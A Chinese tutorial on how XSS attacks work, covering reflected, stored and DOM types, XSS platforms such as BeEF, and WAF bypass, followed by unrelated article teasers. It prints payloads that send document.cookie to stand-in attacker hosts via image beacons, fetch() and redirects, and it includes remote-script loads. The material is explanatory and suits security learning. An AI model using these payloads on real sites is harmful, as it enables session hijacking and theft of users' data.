五、web安全--XSS漏洞(1)--XSS漏洞利用全过程
本文章仅供学习交流,如作他用所承受的法律责任一概与作者无关
1、XSS漏洞利用全过程
1.1 寻找注入点:攻击者首先需要找到目标网站中可能存在XSS漏洞的注入点。这些注入点通常出现在用户输入能够直接输出到页面,且没有经过适当过滤或编码的地方,比如搜索框、留言板、评论区、URL参数、表单提交等位置。例如,一个简单的在线聊天应用,若未对用户输入的消息进行适当处理就直接显示在页面上,就可能成为注入点。
1.2 构造恶意脚本:
- 反射型XSS:攻击者构造一个包含恶意脚本的请求,并将其提交给目标网站。这个脚本通常是JavaScript代码,但也可能包括HTML或其他可由浏览器执行的代码。例如,构造一个恶意链接,将恶意脚本作为URL参数提交给服务器,如
https://example.com/search?q=<script>alert('XSS')</script>
。 - 存储型XSS:攻击者将恶意脚本提交到网站的数据库中。例如,在评论区提交包含恶意脚本的内容,如
<script>alert('Stored XSS')</script>
。 - DOM型XSS:攻击者构造恶意脚本,通过修改页面的DOM结构在客户端执行。例如,在浏览器控制台中修改某个HTML元素的内容,插入脚本
<script>alert('DOM XSS')</script>
。
1.3 触发攻击:
- 反射型XSS:攻击者通过URL参数或表单提交将恶意脚本发送给服务器。服务器没有对输入进行足够的检查,直接将脚本包含在响应中返回给用户。用户的浏览器收到响应后,执行了恶意脚本。
- 存储型XSS:恶意脚本被存储在服务器端数据库中,当其他用户访问包含该脚本的页面时,脚本会被检索出来并嵌入到页面中,用户的浏览器执行这些脚本。
- DOM型XSS:当用户访问包含恶意脚本的页面时,页面中的JavaScript代码在执行过程中,由于对用户输入的处理不当,导致恶意脚本被执行。
1.4 窃取数据或执行恶意操作:
-
窃取Cookie:攻击者可以利用窃取的Cookie冒充用户身份,进行非法操作。例如,通过以下脚本将受害者的Cookie悄无声息地发送至攻击者控制的服务器:
var img = document.createElement('img'); img.src = 'http://attacker-controlled-server.com/track?cookie=' + encodeURIComponent(document.cookie); img.style.display = 'none'; document.body.appendChild(img);
-
篡改页面内容:攻击者可以修改页面内容,比如改变显示的文本、图片等,误导用户进行不安全的操作。
-
钓鱼攻击:通过伪造可信任的网站或消息,诱使用户泄露个人信息或点击恶意链接。例如,通过注入JavaScript代码片段,将用户强行引导至一个预先设定的恶意站点:
<script>window.location.href = "http://钓鱼.com/";</script>
-
加载远程恶意脚本:攻击者可以构造恶意链接,通过社会工程学手段引诱用户点击,进而加载并执行远程服务器上的恶意脚本。例如:
<script src="http://恶意网站.com/恶意.js"></script>
-
发起CSRF攻击:攻击者结合远程脚本加载技术,在受害者页面中嵌入外部恶意脚本,为发起CSRF攻击做好准备。加载的恶意脚本可能收集受害者当前页面的上下文信息,动态构建出与目标网站接口相匹配的CSRF请求。
2、XSS平台详解
2.1 XSS平台的核心功能
XSS平台(如XSS Hunter、BeEF)是攻击者用于管理和接收XSS攻击数据的自动化工具,其核心功能包括:
- 生成Payload:自动生成可绕过简单过滤的恶意脚本(如经过编码或混淆的JavaScript)。
- 接收数据:当受害者浏览器执行Payload后,平台会记录其Cookie、IP地址、浏览器信息等敏感数据。
- 远程控制:部分平台支持通过WebSocket等协议与受害者浏览器建立持久连接,实现实时控制。
2.2 XSS平台的高级功能
2.2.1 盲打XSS(Blind XSS)
针对无回显的注入点(如反馈表单),攻击者通过XSS平台生成Payload并盲测。若Payload执行成功,平台会收到数据,证明攻击成功。
2.2.2 结合CSRF攻击
在存储型XSS中注入CSRF代码,诱导受害者执行恶意操作(如转账、修改密码)。例如:
<script>window.location = "https://evil.com/csrf?token=" + document.cookie;
</script>
2.2.3 绕过WAF(Web应用防火墙)
XSS平台提供多种绕过技术:
- 编码Payload:如将
<script>
转换为Unicode或十六进制。 - 分片Payload:将Payload拆分为多个部分,通过前端JavaScript拼接执行。
2.3 XSS漏洞利用全过程
2.3.1 寻找注入点
攻击者通过扫描或手动测试,定位目标网站中未过滤用户输入的参数(如搜索框、评论区、URL参数等)。例如,某博客平台允许用户嵌入HTML代码,但未对<script>
标签进行过滤。
2.3.2 构造Payload
攻击者利用XSS平台生成Payload,例如:
<script src="https://xss-platform.com/payload.js"></script>
或更隐蔽的编码形式:
<img src=x onerror="fetch('https://xss-platform.com/log?c='+encodeURIComponent(document.cookie))">
Payload会窃取Cookie并发送至XSS平台。
2.3.3 触发攻击
-
反射型XSS:攻击者诱导受害者点击恶意链接(如邮件、社交媒体消息):
https://example.com/search?q=<script>alert('XSS')</script>
链接中的Payload会被服务器反射到页面中执行。
-
存储型XSS:攻击者在评论区提交Payload,其他用户访问时触发。
-
DOM型XSS:通过修改URL的hash部分(如
#<script>...</script>
)触发前端JavaScript执行。
2.3.4 XSS平台接收数据
当受害者浏览器执行Payload后,XSS平台会记录以下数据:
- Cookie:用于会话劫持。
- IP地址:定位受害者地理位置。
- 浏览器信息:辅助构造针对性攻击。
2.3.5 进一步攻击
- 会话劫持:攻击者使用窃取的Cookie冒充受害者登录目标网站。
- 钓鱼攻击:通过修改页面内容诱导用户输入敏感信息。
- 键盘记录:部分平台支持注入键盘记录脚本,窃取用户输入。
相关文章:

五、web安全--XSS漏洞(1)--XSS漏洞利用全过程
本文章仅供学习交流,如作他用所承受的法律责任一概与作者无关1、XSS漏洞利用全过程 1.1 寻找注入点:攻击者首先需要找到目标网站中可能存在XSS漏洞的注入点。这些注入点通常出现在用户输入能够直接输出到页面,且没有经过适当过滤或编码的地方…...

【C++高级主题】命令空间(六):重载与命名空间
目录 一、候选函数与命名空间:重载的 “搜索范围” 1.1 重载集的构成规则 1.2 命名空间对候选函数的隔离 二、重载与using声明:精准引入单个函数 2.1 using声明与重载的结合 2.2 using声明的冲突处理 三、重载与using指示:批量引入命名…...
利用 Python 爬虫获取淘宝商品详情
在电商领域,淘宝作为中国最大的在线零售平台,拥有海量的商品信息。对于开发者、市场分析师以及电商研究者来说,能够从淘宝获取商品详情信息,对于市场分析、价格比较、商品推荐等应用场景具有重要价值。本文将详细介绍如何使用 Pyt…...
动态拼接内容
服务器端模板引擎(Server-Side Template Engine) 的特性,比如 JSP(Java Server Pages)、ASP.NET、PHP 等技术中常用的 <% %> 语法。 它的核心作用是: 动态拼接内容:在 HTML 中嵌入编程语…...

Tomcat运行比较卡顿进行参数调优
在Tomcat conf/catalina.bat或catalina.sh中 的最上面增加参数 1. 初步调整参数(缓解问题) set JAVA_OPTS -Xms6g -Xmx6g -Xmn3g # 增大新生代,减少对象过早晋升到老年代 -XX:MetaspaceSize256m -XX:MaxMetaspaceS…...
java直接获取MyBatis将要执行的动态sql命令(不是拦截器方式)
目录 前言 一. 准备数据 1. 传输过来的json条件数据 2. mybatis 配置的动态sql 3. 想要的最终会执行的sql并返回给页面展示 二. 实现方式 三. 最终代码 前言 1.在平常开发过程中,MyBatis使用时非常多的,一般情况下我们只需要在控制台看看MyBatis输出的日志,要不就是实…...

C++四种类型转换方式
const_cast,去掉(指针或引用)常量属性的一个类型转换,但需要保持转换前后类型一致static_cast,提供编译器认为安全的类型转换(最常使用)reinterpret_cast,类似于c语言风格的强制类型转换,不保证安全;dynamic_cast,主要用于继承结构中…...

Canvas: trying to draw too large(256032000bytes) bitmap.
1、错误展示 测试了一下一张图片的显示,发现二个手机上测试的结果不一样,配制好一些的手机,直接就通过,但是屏小一些的测试手机上,直接报下面的错误。 这个意思是图片太大了,直接就崩了。 2、代码编写 lo…...
【深度学习-pytorch篇】5. 卷积神经网络与LLaMA分类模型
卷积神经网络与LLaMA分类模型 一、卷积操作基础 卷积是深度学习中用于提取局部特征的核心操作,特别适用于图像识别任务。 自定义二维卷积函数示例 以下函数实现了一个简化版的二维卷积: def convolve2D(image, kernel, padding0, strides1):kernel …...
matlab全息技术中的菲涅尔仿真成像
matlab全息技术中的菲涅尔仿真成像程序。 傅里叶法(重建距离得大)/Fresnel.m , 545 傅里叶法(重建距离得大)/FresnelB.m , 548 傅里叶法(重建距离得大)/Fresnel_solution.m , 1643 傅里叶法(重…...
基于对比学习的推荐系统开发方案,使用Python在PyCharm中实现
以下是一个基于对比学习的推荐系统开发方案,使用Python在PyCharm中实现。本文将详细阐述技术原理、系统设计和完整代码实现。 基于对比学习的推荐系统开发方案 一、技术背景与原理 1.1 对比学习核心思想 对比学习(Contrastive Learning)通过最大化正样本相似度、最小化负…...

网络协议之办公室网络是怎样的?
写在前面 本文来看下办公室网络怎样的。 1:正文 如果是在一个寝室中组件一个局域网还是比较简单的,只需要一个交换机,然后大家的电脑全部连接到这个交换机上就行了,之后所有的电脑设置CIDR保证在一个局域网就可以了。但是&#…...
鸿蒙OSUniApp PWA开发实践:打造跨平台渐进式应用#三方框架 #Uniapp
UniApp PWA开发实践:打造跨平台渐进式应用 前言 在过去的一年里,我们团队一直在探索如何利用UniApp框架开发高性能的PWA应用。特别是随着鸿蒙系统的普及,我们积累了不少有价值的实践经验。本文将分享我们在开发过程中的技术选型、架构设计和…...

uni-data-picker级联选择器、fastadmin后端api
记录一个部门及部门人员选择的功能,效果如下: 组件用到了uni-ui的级联选择uni-data-picker 开发文档:uni-app官网 组件要求的数据格式如下: 后端使用的是fastadmin,需要用到fastadmin自带的tree类生成部门树 &#x…...

8天Python从入门到精通【itheima】-62~63
目录 第六章开始-62节-数据容器入门 1.学习目标 2.为什么要学习数据容器? 3.什么是Python中的数据容器 4.小节总结 63节-列表的定义语法 1.学习目标 2.为什么需要列表? 3.列表定义的基本语法 4.列表定义的基本语法-案例演示 5.列表定义的基本语…...
运维 pgsql 安装完后某次启动不了
pgsql 安装完后某次启动不了 错误 data directory "/usr/local/postgresql/data" has invalid permissions 安装成功后一直可以 后面同事敲了 chmod -R 777 /usr/local 导致不行 改到了 /usr/local/postgresql/data 权限 /usr/local/postgresql/data的权限有限…...

Linux基本指令/下
目录 1.echo、cat与printf 2. > 操作符 与 >> 操作符 3. < 操作符 4.消息传送 linux文件深入 5.文件类型 6.mv命令 7.时间相关指令 8.查找命令 9.grep命令 10.zip/unzip/tar命令 11.scp命令 12.bc命令 13.uname 指令 14.快捷键大全 15.关机/重启/睡…...

matlab中绘图函数plot
MATLAB中的plot函数:数据可视化的强大工具 引言 在科学计算和工程领域,数据可视化是理解和分析数据的关键步骤。MATLAB作为一款强大的数值计算软件,提供了丰富的绘图功能,其中plot函数是最基础、最常用的二维图形绘制工具。本文…...

在线音乐服务器测试报告
1.项目背景 此项目主要用于模拟市面上主流的音乐软件的主要功能,提高自己的开发和测试能力。此项目采用的技术栈是SpringBoot MyBatis SpringMVC Mysql实现的,为了实现简单,方便测试,此项目没有注册功能,数据提前存…...
spark-AQE/Tungsten介绍及其触发条件
目录 1、简介2、AQE(自适应查询优化)触发条件及配置3、Tungsten(钨丝计划)触发条件及配置1、简介 AQE(Adaptive Query Execution) 定义:Spark 3.0引入的自适应查询优化技术,运行时动态调整执行计划。核心能力: 动态分区合并:自动合并小分区以减少Shuffle数据量。自动…...

leetcode-hot-100 (矩阵)
1、矩阵置零 题目链接:矩阵置零 题目描述:给定一个 m x n 的矩阵,如果一个元素为 0 ,则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 解答 方法一:使用一个二维数组 这是我看到这道题目的第一个想法&am…...
深度学习中常见的超参数对系统的影响
目录 一,学习率(Learning Rate) 1.1 学习率的本质:控制模型 “学习步伐” 的核心参数 1.2 学习率高低的具体影响:过犹不及的典型后果 1.3 学习率调整策略:3 个实用技巧 二,批次大小&#x…...

评标专家系统随机抽选 开发 Excel 中使用东方仙盟软件助理——未来之窗——仙盟创梦IDE
评标专家抽取系统是针对建设项目与采购招投标,从专家库中随机抽取参与评标专家,并自动进行语音通知的管理软件。符合《中华人民共和国招标投标法》及发改委颁布的《评标专家和评标专家库管理暂行办法》;操作简便、保密性强。 软件根据设定抽取…...
MySQL、PostgreSQL、Oracle 区别详解
MySQL、PostgreSQL、Oracle 区别详解 一、基础架构对比 1.1 数据库类型 MySQL:关系型数据库(支持NoSQL插件如MySQL Document Store)PostgreSQL:对象-关系型数据库(支持JSON等半结构化数据)Oracle:多模型数据库(关系型+文档+图+空间等)关键结论:PostgreSQL在数据类型…...

【第4章 图像与视频】4.6 结合剪辑区域来绘制图像
文章目录 前言示例 前言 本节将综合运用图像处理、离屏 canvas 以及剪辑区域等技术实现墨镜效果。 示例 主线程代码: <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport&qu…...

【Linux】Linux文件系统详解
目录 Linux系统简介 Linux常见发行版: Linux/windows文件系统区别 Linux文件系统各个目录用途 Linux系统核心文件 系统核心配置文件 用户与环境配置文件 系统运行与日志文件 Linux文件名颜色含义 Linux文件关键信息解析 🔥个人主页 ὒ…...

IDEA使用Git进行commit提交到本地git空间后撤回到commit版本之前
一、前言 Git作为最流行和最全面的版本控制工具,非常好用,但是操作也会比SVN复杂一些。毕竟有得有失嘛,所以我选择Git,最近在工作中,一不小心吧一些无关紧要的文件commit了。还好在Push之前看到,不过就算P…...

LangChain完全指南:从入门到精通,打造AI应用开发新范式
目录 1. 引言2. LangChain 框架概述3. 架构设计与模块划分4. 核心原理深度解析5. 工作流程与执行过程6. 扩展与定制7. 性能优化策略8. 实际应用案例9. 常见问题与解决方案10. 未来发展与展望11. 总结12. 参考文献与资源 1. 引言 1.1 LangChain 简介 LangChain 是一个开源的…...
深入解析Vue.js:构建现代Web应用的高效之道
一、Vue.js 的核心设计理念 Vue.js 以渐进式框架为定位,强调轻量灵活与易上手性,允许开发者根据项目需求逐步引入核心功能或扩展模块。其核心设计遵循以下原则: 响应式数据绑定:通过数据劫持(Object.defineProperty/Proxy)和发布 - 订阅模式,实现视图与数据的自动同步,…...

VS Code / Cursor 将默认终端设置为 CMD 完整指南
文章目录 🧭 适用范围📌 背景与问题分析🛠 配置步骤1. 打开设置(settings.json)2. 添加或更新配置3. 重启终端与编辑器 💡 补充:支持多个终端配置🧯 常见问题排查✅ 总结 在 Windows…...